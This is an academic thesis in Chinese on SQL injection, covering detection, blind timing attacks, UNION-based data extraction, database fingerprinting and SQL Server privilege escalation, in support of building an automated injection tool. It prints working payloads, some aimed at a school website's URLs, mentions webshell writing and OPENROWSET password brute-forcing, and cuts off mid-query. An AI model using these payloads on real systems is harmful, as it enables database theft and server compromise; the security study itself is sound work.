版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
1、第1章 绪论1.1 项目背景及意义SQL注入攻击是一种特不有效且破坏性专门大的渗透手段。它是针关于数据库的一种攻击手段,通过利用数据库的外部接口把恶意代码插入到SQL语言中使数据库服务器解析并执行,以达到入侵目标数据库及至整个操作系统的目的。了解和熟悉SQL注入原理,掌握防备SQL注入攻击的原理和技巧就变得至关重要。SQL注入攻击的普遍性、难捉摸性、简易性等特点让其成为了网络中黑客主流攻击方式之一。因为SQL注入是从正常的Web平台入口进行请求访问,和请求正常的Web页面没有什么区不,因此目前市面上除了专门的Web防备防火墙外,大部分防火墙都可不能对这类SQL注入攻击进行监控和发出警报,若网站
2、治理员没有经常查看IIS日志的经验和适应,有可能被入侵专门长一段时刻后都没有任何发觉。由于现在广泛流行的恶意攻击工具,SQL注入在近年来呈现一种增长的趋势。据OWASP(开放式web应用程序安全项目)每隔三年更新一次的“十大安全隐患列表”,在近几次公布的总结Web应用程序最可能、最常见、最危险的十大安全隐患中,SQL注入攻击一直排列靠前。OWASP TOP 10 2010中列出的最严峻的Web应用程序的漏洞中,注入(Injection)风险位居第一。Web应用的进展越来越成熟,应用的各项技术进展得也越来越复杂。它们涵盖了从外部动态展示INTERNET和内部工作网络到以WEB协议方式传递数据的企
3、业工作应用(如文档治理系统等)。这些系统的有用性及其数据存储、处理内容的机密性和敏感性关于企业的要紧业务而言都特不重要。当前市面的注入攻击检测工具只能对单个网页或者单个URL进行检测和注入,无法对整个网站的漏洞进行检测。而漏洞扫描工具能够对整个网站漏洞进行扫描却无法进行进一步的注入攻击检测。专门大程度上不能满足开发人员和治理人员对网站SQL注入漏洞全面了解的要求。本研究的最终目的是分析SQL注入攻击的类型、关键技术和原理,并研究SQL注入在实际应用中的操作方法,在此基础之上,设计并开发了一套自动注入工具。因为恶意攻击者不仅能够通过SQL注入攻击对Web应用数据进行盗取、篡改信息,还能够进一步关
4、于服务器进行恶意操作,同时植入木马或者后门程序,甚至操纵整个服务器,这就严峻阻碍了应用的正常运行以及关于应用的信息安全带来严峻后果。因此,关于功能齐备的SQL注入攻击扫描与检测工具的研究与开发具,具有特不重要的现实意义。应用程序开发者或网站治理人员使用此工具对自已的网站进行安全检测,以达到减小SQL注入的可能性。同时,在渗透测试工作中,关于安全测试也具有专门大的关心。1.2 研究内容1.2.1 自动注入攻击工具的研发本研究首先理解Web应用的工作原理,首先简要概述Web应用系统通用的架构模式,理解了构建模式后能更清晰的了解SQL注入的产生过程,然后从Web应用的代码层来分析介绍是什么引起了通用
5、的SQL注入,然后研究介绍SQL注入漏洞的利用过程。从框架到利用逐步分析SQL注入的过程和利用,然后依照分析的内容构建SQL注入的自动化检测及注入攻击利用框架。1.2.2 SQL注入原理SQL注入的原理,是将SQL代码插入或者非正常时添加到应用的参数当中,同时进行了一定的拼接传入到了后台的数据库服务器,最终使服务器执行了该拼接的恶意SQL命令。所有的是通过SQL语句执行的应用过程均存在被攻击的威胁,因为SQL的多样多变性语言结构特征使得攻击者能够拼接构建丰富的代码编码手段等来拼接语句来欺骗服务器。SQL注入攻击的要紧方式确实是直接将命令插入到应用服务的表单参数中传入到后台数据库查询字符串中,这
6、些参数就会被带入到后台数据库服务器进行执行解析,攻击者便能够构造恶意命令来达到攻击目的。1.2.3 SQL注入检测技术检测发觉SQL注入漏洞有一条简单的规则:SQL注入是通过发送专门数据来触发异常操作。该规则包括如下含义:检测Web应用上所有的输入数据;集合SQL语法,归类所有可能触发异常的数据类型;检测数据库服务器应用响应中的异常。首先需要清晰Web扫瞄器向Web服务器发送请求的过程。不同的服务应用会有不同的体现方式,它们均处在基于Web的环境中,因此差不多原理是相同的。识不和检测应用同意的所有数据,攻击一般都会修改这些数据,因此需要识不并分析服务器对它们的响应。有时响应中会直接包含来自数据
7、库的SQL错误,有时需要不断的方式来检测和确定响应中细微的差不。1.3 章节安排本论文章节安排如下:第一章 绪论:综述此研究设计的背景意义以及研究内容。第二章 SQL注入技术研究:要紧对SQL注入攻击方式过程和攻击特点进行归类、识不,首先理解Web应用的工作原理,概述Web应用通用的构建方式,为理解SQL注入的产生过程提供一些背景知识,接下来从Web应用的代码层介绍引发SQL注入的因素以及哪些开发实践和行为会引发SQL注入。分析SQL注入过程和利用,并架构如何将SQL注入的发觉过程自动化以提高检测简单SQL注入的框架。第三章 SQL注入攻击技术研究:依照SQL注入技术,研究利用数据库中的功能来
8、攻击系统端口的技术。数数据库大多均带有丰富的数据库编程功能,能够利用SQL注入漏洞来访问文件系统以执行有效的任务,能够在基础操作上执行各种命令,扩大范围攻击的利用技术细节。当发觉SQL注入漏洞以及初步的利用猎取数据后,能够利用SQL注入漏洞来访问文件系统来扩大渗透范围。还能够在操作系统上执行各种命令,攻击能够使用它们扩展数据库的可达区域并在更大的范围内发动攻击。第四章 注入高级技巧研究:Web应用通常会使用过滤应用,设计这些过滤的目的确实是防备SQL注入在内的常见攻击。这些过滤方式能够是位于web应用的代码层中,也能够通过第三方的外部实现,如Web应用防火墙(WAF)或入侵防备系统(IPS)。
9、当注入攻击碰到这些防备应用,若想进一步利用漏洞,则需要查找一种能避开过滤器防护的高级方法以便恶意输入传递给易受攻击的代码。第五章 自动注入工具框架设计:依照项目的设计需求,以及Python编程语言的特点,对自动注入攻击工具整体框架进行分析和设计。同时分析功能模块中的重点和关键技术。第六章 SQL注入测试:自动注入攻击实例测试。第2章 SQL注入技术2.1 Web应用工作原理和架构简析不论是用何种脚本语言开发的Web应用,都有一个共同点:具有交互性同时大多是数据库驱动的。基于数据库驱动的Web应用一般都包含三层:a presentation tier(表示层,Web扫瞄器或呈现引擎)、a log
10、ic tier(逻辑层,如C#、ASP、.NET、PHP、JSP等编程语言)和a storage tier(存储层,如Microsoft SQL Server、MySQL、Oracle等数据库)。Web扫瞄器(表示层,如Internet Explorer、Safari、Firefox等)向中间层(逻辑层)发送请求,中间层通过查询、解析数据库(存储层)来响应该请求。图2-1 简单的三层架构 Web三层架构解决方案没有扩展性,研究人员不断地对Web三层架构进行改进优化,在可维护性和可扩展性的基础上建立了一种新概念:n层应用开发模式。其中有一种确实是Web四层架构解决方案,该方案在Web服务器和数据
11、库之间使用了一层中间件服务器(通常称为应用服务器)。下图2-2中,Web扫瞄器(表示层)向中间层(逻辑层)发送请求,后者一次调用由位于应用层的应用服务器所提供的API,应用层通过查询、更新数据库(存储层)来响应该请求。图2-2 四层架构2.2 识不SQL注入SQL注入确实是程序员对程序中动态的SQL语句没有作严格的过滤或检测,导致黑客能在注入点提交非法的SQL语句,导致程序和服务器的信息被泄漏。由于SQL注入的入门门槛低,隐蔽性好,破坏性大,杀毒软件无法查杀,是当前最主流的入侵手段。SQL注入攻击的本质,确实是服务器将用户传入的数据在数据库中当成了SQL代码执行。那个地点便有两个关键因素:第一
12、个是用户有权限输入数据;第二个是服务器应用数据执行了用户传入的数据。2.2.1 识不数据输入Web环境是一种C/S(客户端/服务器)架构。客户端使用扫瞄器向Web服务器发送请求并等待响应。Web服务器接收到请求后,通过查询、解析数据库,将响应发送回客户端。专门明显,双方便必须使用一种协议作为双方的约定,这种传输协议确实是HTTP。首先,必须识不远程Web应用所接收的所有数据输入。HTTP协议定义了能够发送给服务器的操作方式,那个地点只关注研究与SQL注入攻击相关的两种方法:GET和POST。GET请求:GET是向服务器发索取数据的一种请求,是一种请求服务器的HTTP方法。使用GET请求时,信息
13、是显示在URL中的。GET请求对用户是透明的,如下例,WEB服务器的GET请求如下所示:GET /general/vote/show/webst/list.php?VOTE_ID=131 HTTP/1.1User-Agent: Opera/9.80 (Windows NT 6.1; U; Edition IBIS; zh-cn) Presto/2.10.229 Version/11.62Host: *.Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/webp, image/jpe
14、g, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: zh-CN,zh;q=0.9,en;q=0.8Accept-Encoding: gzip, deflateCookie: SID_4143=82b90aee; SID_99=bfb67d86; UI_COOKIE=0; LWr7_2132_ulastactivity=85ebvMTfOWVLvxgzzzV4uv0PkMG14SL7yUg9SVBP%2BzMNhDtpaSVL; PHPSESSID=073edfe7894acb322ba1061678e82090; lzstat_uv
15、=10735291292559574567|2879946Proxy-Connection: Keep-Alive该请求中与数据查询相关的参数在URL中,格式如下所示:list.php?VOTE_ID=131上述示例中包含一个参数:VOTE_ID。服务器应用将会把参数值带入数据库中解析执行,然后将响应结果返回给客户端。POST请求:POST请求是作为HTTP消息的实际内容发送给web服务器的HTTP方法。在扫瞄器中填写表单并点击Submit按钮时通常使用该方法。下面的例子是扫瞄器发送给远程WEB服务器的内容,请求如下所示:POST /general/vote/show/webst/pl_wri
16、te.php?ITEM_ID=345 HTTP/1.1User-Agent: Opera/9.80 (Windows NT 6.1; U; Edition IBIS; zh-cn) Presto/2.10.229 Version/11.62Host: *.Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/webp, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: zh-CN,zh;q=0.9,en;
17、q=0.8Accept-Encoding: gzip, deflateReferer: http:/*./general/vote/show/webst/pl_write.php?ITEM_ID=345Cookie: SID_4143=82b90aee; SID_99=bfb67d86; UI_COOKIE=0; LWr7_2132_ulastactivity=85ebvMTfOWVLvxgzzzV4uv0PkMG14SL7yUg9SVBP%2BzMNhDtpaSVL; PHPSESSID=073edfe7894acb322ba1061678e82090; lzstat_uv=10735291
18、292559574567|2879946Connection: Keep-AliveContent-Length: 40Content-Type: application/x-www-form-urlencodedcontent=POST+TEST&submit=+%CC%E1+%BD%BB+其他注入数据:除了GET或POST参数传输检索数据外,HTTP请求的其他内容也可能会触发SQL注入漏洞。Cookie确实是个专门典型的例子。Cookie由服务器发发送到用户端的扫瞄器,并会在用户端每次请求中都会回发给服务器。Cookie一般被用于辨不用户身份、进行session跟踪而储存在用户本地终端上的
19、数据。由此可见,用户完全能够操纵发送给服务器的Cookie内容,因此Cookie也作为一种有效的用户数据输入方式和易受注入阻碍的对象。如:GET /elf/home.php HTTP/1.1Host: User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:19.0) Gecko/20100101 Firefox/19.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Enco
20、ding: gzip, deflateCookie: _utma=235504861.1045863906.1362721158.1363922147.1364178877.17; _utmz=235504861.1363878397.13.3.utmcsr=|utmccn=(referral)|utmcmd=referral|utmcct=/app/procurement/bids/; s_nr=1364197401953-Repeat; s_vnum=1364799600337%26vn%3D19; s_vi=CSv1|289CC3EC851D1C92-400001326012B18CCE
21、; fsr.r=d:90,i:d046012-55164494-d970-1460-e7619,e:1363330479331; elf_e=hack; elf_s=ab; elf_h=86b9fa33b1b652a3c73ea82f5e6263beConnection: keep-alive该应用系统存在一个cookie注入漏洞,漏洞代码下图2-3,程序代码没有任何过滤就将用户传入的cookie参数带入到数据库中进行执行。用户只要利用抓包工具将传入的数据包截下来修改cookie字段的数据就能够将恶意命令传入到后台数据库进行执行。图2-3 存在漏洞的代码文件2.2.2 操作请求参数下面先通过介
22、绍一个特不简单的例子来熟悉SQL注入漏洞。以我们学校http:/*./为例。扫瞄到某页面的URL如下: HYPERLINK http:/*./general/vote/show/webst/list.php?VOTE_ID=131 http:/*./general/vote/show/webst/list.php?VOTE_ID=131List.php页面收到一个名为VOTE_ID的参数。现在开始开始手动修改VOTE_ID参数的值,将其改为意外的数值。按照下列方式进行首次尝试: HYPERLINK http:/*./general/vote/show/webst/list.php?VOTE_I
23、D=131 http:/*./general/vote/show/webst/list.php?VOTE_ID=attacker上例中使用不存在的类型名向服务器发出请求。服务器返回如下图2-4响应:图2-4 服务器响应结果1该警告是当用户尝试从空结果集中读取记录时,数据库返回的一个MYSQL数据库错误。该错误表明远程应用未能正确处理意外的数据。接着进行推理操作,现在向之前发送的值添加一个单引号(),发送下列请求: HYPERLINK http:/*./general/vote/show/webst/list.php?VOTE_ID=131 http:/*./general/vote/show/
24、webst/list.php?VOTE_ID=attacker下图2-5是服务器的响应:图2-5 服务器响应结果2服务器返回下列错误:请联系治理员 错误#1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near at line 1SQL语句: SELECT END_DATE from VOTE_TITLE where VOTE_ID=attacker文件:D:/*root/g
25、eneral/vote/show/webst/list.php不难发觉,有些应用在处理用户数据时会返意想不到的结果。WEB检测的异常并非差不多上由SQL注入漏洞引起的,还会受到专门多其他因素的阻碍。那个地点还能够通过进行另一个测试来识不SQL Server和Oracle中的漏洞。向Web服务发送下面两个请求: HYPERLINK /general/vote/show/webst/list.php?VOTE_ID=131 http:/*./general/vote/show/webst/list.php?VOTE_ID=131 HYPERLINK /general/vote/show/webst
26、/list.php?VOTE_ID=13+1 http:/*./general/vote/show/webst/list.php?VOTE_ID=13+1在MYSQL中,与其等价的请求为: HYPERLINK /general/vote/show/webst/list.php?VOTE_ID=131 http:/*./general/vote/show/webst/list.php?VOTE_ID=131 HYPERLINK /general/vote/show/webst/list.php?VOTE_ID=13 http:/*./general/vote/show/webst/list.ph
27、p?VOTE_ID=13 1假如两个请求结果相同,则专门可能存在SQL注入漏洞。2.2.3 数据库响应测试SQL注入攻击漏洞时,可能会从WEB服务器收到不同的数据库错误响应,因此关于这些错误的意义需要熟悉和掌握。图2-6展示了产生SQL注入错误的过程和WEB服务器对错误进行处理得过程。图2-6 产生SQL注入错误的过程中的信息流产生SQL注入错误的过程中发生了以下事件:用户端发送请求数据,尝试触发SQL注入漏洞。假设用户发送了一个带单引号的值。WEB服务器接收到用户端的请求数据,并向数据库服务器发送SQL查询。本例中,在WEB服务器执行的SQL语句中包含了用户输入参数同时构造了一条SQL查询,
28、该查询因末尾存在单引号而导致语法错误。数据库服务器接收执行了格式不正确的SQL查询,并向WEB服务器返回一条错误消息。WEB服务器接收到的来自数据库的错误向用户发送HTML响应。下面列举常见的SQL错误。SQL Server错误在请求中插入一个单引号在参数中会产生数据库错误。关于SQL Server中,远程应用返回类似于下列内容的错误,图2-7所示:/Display_News.asp?ArticleID=2650图2-7 SQL Server错误通过上面的例子,我们能够确定运行在数据库上的远程SQL语句与下面的内容相似:SELECT *FROM NewsWHERE ArticleID=2650
29、该Web应用未检测单引号,因此数据库服务器响应返回了一个错误。MYSQL错误下面介绍一下典型的mysql错误。MYSQL能够在专门多架构和操作系统下执行,兼容性专门好,常见的配置是在装有linux操作系统的apache web服务器上运行php,但它也能够出现在专门多其他场合中。下列错误通常表明存在MYSQL注入漏洞:Warning:mysql_fetch_array(1):supplied argument is not a valid MySQL result resource in /var/www/list.php on line 92.2.4 自动查找SQL注入关于SQL注入工具的开
30、发,如何的适度的自动化SQL注入的请求是其中的关键。识不数据输入是能够自动化的内容,它涉及搜索WEB站点和查找GET及POST请求。数据注入也能够自动完成,因为上一时期差不多猎取了发送请求所需要的所有数据。若想自动查找SQL注入漏洞,要紧问题在于检测远程服务器响应中的异常。关于治理员来讲,区不一个错误页面或其他类型的异常页面特不容易;但关于程序来讲,要识不出服务器异常输出,有时会特不困难。某些情况下,应用能够专门容易地检测到数据库发生了错误,如以下情形下:WEB应用服务器返回由数据库产生的SQL错误;WEB应用服务器返回HTTP500内部服务器无法执行错误;某些SQL盲注情况下。但关于其他情况
31、,应用系统将专门难识不存在的漏洞,而且专门容易出现遗漏。因此,自动发觉SQL注入存在着一定的局限性,自定义的测试和手动测试也显得特不重要。2.3 SQL盲注专门多时候,WEB服务器为了安全设置关闭了错误回显,然而这能够阻挡住SQL注入攻击吗?当发觉一个SQL注入点,但应用只提供了一个自定义的通用的错误页面;或者尽管提供了正常的页面,但与期望的测试响应存在一些小的差异。基于这种情况下的SQL注入攻击测试,都属于SQL盲注。所谓“盲注”,确实是在在注入攻击Web应用时,攻击语句被带入到后台数据库中执行,然而服务器查可不能返回错误或者执行结果的回显的情况下进行的注入攻击。服务器没有了攻击者期望的错误
32、回显,关于攻击者来讲没有了特不重要的SQL注入攻击“调试信息”,因此攻击者必须找到一个方法来从侧面验证注入的SQL语句是否得到成功执行。2.3.1 注入带判定的参数(Timing Attack) 当差不多识不可能存在SQL注入漏洞,但又没有正常的回显的时候,要想进一步确认和检测漏洞,一般能够提交包含副作用的查询参数。比较老的技术是使用timing attack,计时攻击。2011年3月27日,一个叫TinKode4的黑客在闻名的安全邮件列表Full Disclosure上公布了他入侵的细节。这次入侵事件,确实是因为一个SQL盲注漏洞引起的。据黑客公布描述,当时那个漏洞是出现在下面那个页面,如图
33、2-8:图2-8 漏洞页面能够看到网址URL:index.html?id=1170,通过修改参数id后的数值,服务器将返回不同的查询的客户信息。那个漏洞中,id=那个参数链接确实是一个专门隐蔽的“SQL盲注”漏洞,攻击者通过精心构造id参数的URL,就能够进行SQL注入攻击。利用通常的SQL语句比如“and 1=2”在此链接下是无法看出异常的,因为应用服务器可不能返回任何异常的数据。在那个地点,TinKode4利用“SQL盲注”的一个技巧:Timing Attack,用来确认漏洞是否存在。在MYSQL数据库中,有个函数:BENCHMARK(),能够用来测试函数性能。同时它含有两个参数:BENC
34、HMARK(count,expr)函数执行的结果,是将表达式expr执行count次。比如:mysql SELECT BENCHMARK(1000000,ENCODE(hello,dllk);+| BENCHMARK(1000000,ENCODE(hello,dllk) | 0 |+1 row in set (4.97 sec)就将ENCODE(hello,dllk)执行了1000000次,共用4.97秒。因此,攻击者就能够利用MYSQL数据库中的那个函数BENCHMARK(),在传入到后台服务器的参数中让同一个SQL函数在数据库中执行若干次,然后通过服务器执行该SQL语句的时刻的长短变化,就
35、能够用来侧面判不出SQL注入攻击语句是否差不多成功的执行。那个攻击利用技巧在盲注中被称为Timing Attack。在此次的攻击中,攻击者接下来确实是利用Timing Attack攻击。比如构造的攻击参数id值如图2-9:图2-9 Timing Attack攻击语句1这段攻击Payload首先进行的是推断库名的第一个字母是否为小写的w,即CHAR(119)。假如推断结果为真,就会执行后面的BENCHMARK()函数,执行该函数就会造成较长的延时;假如推断结果为假,则该攻击语句专门快就会被执行完毕,页面将专门快得到加载。如此,攻击者就能够通过构造攻击Payload猜解遍历出所有的库名字母,直到将
36、整个数据库名全部猜解完成为止,然后进一步能够猜解遍历出数据表明、列明和数据内容,将能够将整个数据中的内容下载过来。同时,攻击者还能够通过以下Payload猎取到更多有用信息,图2-10:图2-10 Timing Attack攻击语句2此外,攻击者能够通过利用Dump File的方法如图图2-11,来写入一个webshell木马:图2-11 DumpFile写如websehllTiming Attack是SQL盲注中的一种高级技巧。在各种不同的数据库中,都有与BENCHMARK()函数类似的东西。如MYSQL:BENCHMARK(1000000,MD(1) or SLEEP(5)PostgreS
37、QL:PG_SLEEP(5) or GENERATE_SERIES(1,1000000)MS SQL Server:WAITFOR DELAY 0:0:5如,在Microsoft SQL Server中,可使用如下SQL代码来产生一个8秒的暂停:WAITFOR DELAY 0:0:8同样,关于MYSQL数据库,攻击者也能够使用SLEEP()函数(该函数适用于MYSQL5.0.12及以后的版本)来进行Timing Attack。同时,攻击者还能够利用应用服务器的回显输出来进行推断。例如,若将注入下面的字符串: AND 1=2插入到一个搜索字段中,将产生与 OR 1=1不同的结果响应。2.3.2
38、Parameter Splitting and Balancing技术假如注入带推断的函数不起作用,能够尝试“parameter splitting and balancing”(参数拆分与平衡)技术。拆分是指拆分正常的参数输入,平衡则是指保证最终的查询与正常的输入是一致。其差不多思想是:将正常的请求参数进行拆分,然后使用SQL语句关键字对它们进行修改,最终需保证与原数据不同,使得后台数据库服务器解析执行带入的参数时,与正常的参数请求一样的同时也带入了“非法”的请求。例如,在http:/*./view_review.php?id=5那个URL中,将id参数的值插入到一条SQL语句中构成下列查询
39、:SELECT review_content,review_author FROM reviews WHERE id=5假如使用2+3替换5,那么输入应用中的参数将不同于原始请求中的输入,但SQL数据执行在结果上是等价相同的:SELECT review_content,review_author FROM reviews WHERE id=2+3这种方式不仅仅只局限于数字值型。假设http:/*./view_review.php?Author=dllk那个URL返回与某一数据库项目相关的信息,我们将Author参数的值放到一条SQL查询中构成下列查询:SELECT COUNT(id) FROM
40、 reviews WHERE review_aouthor = dllk能够使用特定的数据库运算符将dllk字符串拆分,向Web服务应用提供与dllk相对应的不同的参数输入。关于再oracle数据库的利用中,能够使用“|”运算符来链接两个字符串:SELECT COUNT(id) FROM reviews WHERE review_aouthor = dl|lk它与之前的第一个查询在最终执行的参数是等价的。下表2-1是带子查询占位符的拆分字符串参数:表2-1 带子查询占位符的拆分字符串第3章 SQL注入攻击技术研究3.1 识不数据库要成功进行SQL注入攻击,还有重要的一点确实是需要探测出服务器正
41、在使用的数据库系统DBMS。若是攻击者连数据库系统都无从推断,就不可能构造出有效的“恶意”参数来进行SQL注入,也就无法实施攻击。通常WEB架构技术能够使我们推测验证出数据库系统。例如,ASP和.NET的WEB服务应用通常使用的事Microsoft SQL Server作为数据库系统,而PHP应用则专门可能使用MYSQL数据库。假如是用JAVA、JSP等编写的,那么专门有可能使用的是Oracle数据库。在识不SQL注入漏洞所存在的数据库中,假如不是SQL盲注,通常情况下能够专门快的推断出数据库系统。假如数据库响应返回出SQL注入的错误消息,一般都会在报错的响应中能够找到是何数据库系统的线索。如
42、图3-1 SQL Server错误信息:图3-1 SQL Server错误信息依照报错信息能够专门直接的就推断数据库类型为Microsoft SQL Server。这种方法确实是添加一个单引号将使得构造的SQL语句参数带入到数据库服务器当作SQL语句来执行,这将产生一条语法错误而暴露出错误信息。如图3-2 SQL Server错误信息: HYPERLINK http:/*./general/vote/show/webst/list.php?VOTE_ID=131 http:/*./general/vote/show/webst/list.php?VOTE_ID=131图3-2 SQL Serv
43、er错误信息在错误消息中明确提到了“MySQL”,还附加了一些关于出错内容的有用细节。如下表3-1返回各种DBMS所对应的查询:表3-1 返回各种DBMS所对应的查询例如,关于SQL Server 2000 SP4来讲,执行SELECTversion查询时,将得到如图3-3所示信息:图3-3 SQL Server 2000服务器返回信息假如应用服务器并不能直接的在响应中返回所想要的数据信息,则需要一种间接的方法来触发获得想要的信息。不同的数据库,在语法查询方式上有略微的不同,不同的数据库系统就会有不同的查询方式。比如一个简单查询如下:SELECT somestring该查询语句关于大多数主流的
44、数据库系统差不多上有效的,关于不同的数据库系统,将查询的字符串分成两个字串的SQL语句的时候依旧存在有细微的差异的,就SQL Server、Mysql、Oracle来讲,如下表3-2:表3-2 字符串分成两个字串的SQL语句假设Web应用中没有能够利用的SQL注入字符串参数,则能够使用之前数字参数类似的技术。如此的话就需要一条针对特定情况特定技术的SQL语句,使得在服务器通过执行SQL语句后计算后生成一个数字。在下表3-3所示列举的SQL语句中,在对应的数据库系统上执行对应的SQL语句后都会生成一个整数,而若在其他不同的数据库下执行语句的话,就将会产生错误。表3-3 从数字函数推断DBMS版本
45、3.2 注入语句猎取数据UNION语句是数据库治理员经常使用函数之一。使用UNION的SQL语句,能够连接两条或多条SELECT语句的联合查询得到结果。差不多语法如下所示:SELECT column-1,column-2,.,column-N FROM table-1UNIONSELECT column-1,column-2,.,column-N FROM table-2执行该查询后,返回结果得到的是由两个SELECT语句返回结果组成的表。通常在默认情况下,得到的返回结果中只会包含不同的数值。假如想在查询的结果中将重复的值也显示出来,只需要略微修改下语法即可:SELECT column-1,c
46、olumn-2,.,column-N FROM table-1UNION ALLSELECT column-1,column-2,.,column-N FROM table-2在SQL注入测试攻击中,数据库的UNION查询方法关于攻击来讲作用专门大:假如服务器能够正常返回第一个查询得到的数据,若想修改加入数据库UNION查询,便能够利用读取到攻击者想要读取的该数据库用户,然后就能够访问的其他的任何一张数据表。如,假如想要找到list.asp页面执行的查询的数据表所返回的列数,则能够按下列方式请求URL,直到不再返回错误位置信息:http:/*./list.asp?Id=12+union+sel
47、ect+null-http:/*./list.asp?Id=12+union+select+null,null-http:/*./list.asp?Id=12+union+select+null,null,null-猎取列的另一种方法是使用ORDER BY语句,ORDER BY语句并不是通过注入另一个查询语句来获得查询结果。通过增大ORDER BY 子语句中代表列的数字就能够来识不查询中的列数,如下所示:http:/*./list.asp?Id=12+order+by+1http:/*./list.asp?Id=12+order+by+2http:/*./list.asp?Id=12+orde
48、r+by+3.若在以上使用ORDER BY 9查询时收到第一个错误回显,就意味着查询的数据库中包含的数据有8列。当攻击识不出数据库的列数后,接下来确实是选择数据中的其中一列或几列来接着攻击查询数据库中的数据了。因此,假如攻击者想提取一个数据库字符串值,就能够通过它来保存正在查找的数据,以便找到一个字符串类型的列。攻击者能够用NULL来专门容易的实现,只需要重复的使用字符串示例替换掉NULL即可。例如,假如原始的数据查询中包含4列数据,则能够做如下尝试获得字符串类型的列:http:/*./list.asp?Id=12+union+select+dllk,null,null,nullhttp:/*
49、./list.asp?Id=12+union+select+null,dllk,null,nullhttp:/*./list.asp?Id=12+union+select+null,null,dllk,nullhttp:/*./list.asp?Id=12+union+select+null,null,null,dllk只要数据库没有返回错误,就可明白刚才存储dllk值的列保存的一个字符串,因此就能够用它来显示需要的值。例如,若数据中第二列能够保存一个字符串字段,则当请求下面的URL即可存储到第二列中:http:/*./list.asp?Id=12+union+select+null,syst
50、em_user,null,null而下列URL则能够同时检索当前用户名和当前数据库名:http:/*./list.asp?Id=12+union+select+null,system_user,db_name(),null攻击者通过精心构造使用UNION SELECT的SQL语句注入,就能够猎取整张数据表。假设攻击者差不多得到当前数据库包含一张名为users的表,表中包含userid、first_name、和second_name列。则能够使用下面的方式来猎取用户名:http:/*./list.asp?Id=12+union+select+userid,first_name,second_na
51、me,null+FROM+userrs使用UNION注入任意查询来攻击数据库,是一种既快捷又有效的攻击手段技巧。但该方法并不通用,WEB应用也没那么容易就轻易的泄漏数据库数据。在Microsoft SQL Server中,关于攻击者来讲,攻击者最想了解的是当前执行数据库查询的应用用户是否是以系统治理员帐户(SA)运行的。因为权限的不同,所能进行的查询和操作就不同,在后续的扩大渗透中,在数据库上执行的敏感的提权操作也会有所不同,关于攻击者的攻击的程度也不同。为确定是否为SA权限,能够使用下列注入语句查询:IF (system_user = sa) WAITFOR DELAY 0:0:5 -该查询
52、将转换为下列URL:http:/*./list.asp?id=12;if+(system_user = sa)+WAITFOR+DELAY+0:0:6 -语句中的System_user在SQL Server中是T-SQL函数,那个函数在数据库中执行完成后会返回数据为当前登录的用户名。该Payload的执行,是依照system_user函数执行的值来判定是否执行WAITFOR函数(等待6秒)。攻击者能够通过Web应用查询后返回的结果加载HTML数据所花费的时刻来判定是否为SA用户。该Payload的SQL查询语句尾部的两条横线是注释作用,能够注释掉所有可能阻碍原查询结果的除伪造拼接的SQL攻击查
53、询代码。上面基于时刻的判定的技巧专门灵活,然而基于时刻判定的的方法不适合提取大量信息。能够利用基于错误的判定的方法,如:http:/*./list.asp?id=12/is_srvrolemember(webdmin)is_srvrolemember()也是SQL Server中的T-SQL函数,当它被执行,能够返回下列值:1:用户属于该组。0:用户不属于该组。NULL:该组不存在。我们假设用户属于webadmin组,那么URL中的id的参数应该等于12/1,因此,Web应用就会正常返回数据页面。假如当前的用户并不是webadmin组中的成员,那么现在URL中的id值确实是12/0;如此的话将
54、会导致SQL语句查询失败,Web应用返回的结果是一个错误。关于返回的错误来讲,错误的具体消息内容确信会各有千秋:错误可能只是由Web服务器相应错误返回的500 internal server error,错误信息也有可能包含了完整的SQL Server错误消息,甚至由于治理员的限制,错误的信息是治理员主动设置的自定义的404错误页面。关于WAITFOR的基于时刻的方法来讲,基于错误来判定的方法有个专门大的优点确实是效率,基于时刻的方法涉及查询延迟的问题,基于错误的判定的方法的请求能够立即返回注入利用的结果。因此基于错误的方法缺点确实是将会触发专门多错误,这些错误将会被记入到服务器的日志当中,这
55、关于攻击者来讲是不情愿见到的。只是,能够稍作修改优化,例:http:/*./list.asp?id=24%2B(case+when+(system_user=sa)+then+1+else+0+end)%2B是“+”的URL编码。最终将按照下列式子为id参数赋值:id=24+ ( case when (system_user = sa) then 1 else 0 end)假如执行的不是sa,那么id=24,请求等价于:http:/*./list.asp?id=24而假如执行查询的用户是sa,那么id=25,请求就等价于:http:/*./list.asp?id=25因此,攻击者就能够能够依照
56、Web服务器查询后返回的结果中加载的HTML中包含的字符串的不同来推断当前用户是否为sa。3.3 提升权限所有的数据库系统治理员都能够对数据库用户的权限进行专门详细的专门细微的设置和操纵。治理员能够为每个用户给予一定量的操作执行权限来实现用户对数据存储信息的访问。通常一个数据库系统都可能包含了专门多个数据库,然而攻击者利用的数据库的用户权限只能访问其中某一个数据库,在正常的情况下,其他的数据库都不能进行任何操作,然而攻击者目前掌控的数据库中并没有想要的信息。或者是当前数据库的用户权限能够读取所有数据库的内容,然而只有关于当前数据库有写权限,关于其他数据库不能执行修改操作。攻击者若想猎取其他数据
57、库的操作或者关于系统的其他地点进行操作,就需要更高的权限。那个过程确实是提升权限。3.3.1 SQL Server数据库的提权在Microsoft SQL Server中,使用命令OPENROWSET是一个专门好也比较典型的的数据库攻击方法。OPENROWSET是能够实现SQL Server对远程的OLE DB数据源进行一次性连接,而DBA则能够用来检索和查询远程数据库上的数据,如此就能够作为连接数据库的一种方法。下面是典型调用OPENROWSET的方法,例:SELECT * FROM OPENROWSET (SQLOOLEDB,Network=DMSSOCN;Address=0;uid=dl
58、lk;pwd=password,SELECT columnA FROM tableB)上述语句中以用户dllk密码为password连接到地址为0的SQL Server数据库并执行select columnA from tableB查询,并返回查询结果。SQL Server的OPENROWSET在SQL注入攻击中有多种攻击方式和技巧。例如在SQL Server 2000上,攻击者能够使用OPENROWSET来进行暴力猜解SA密码并提升权限。例如:SELECT * FROM OPENROWSET (SQLOOLEDB,Network=DMSSOCN;Address=xx.xx.x.x;uid=s
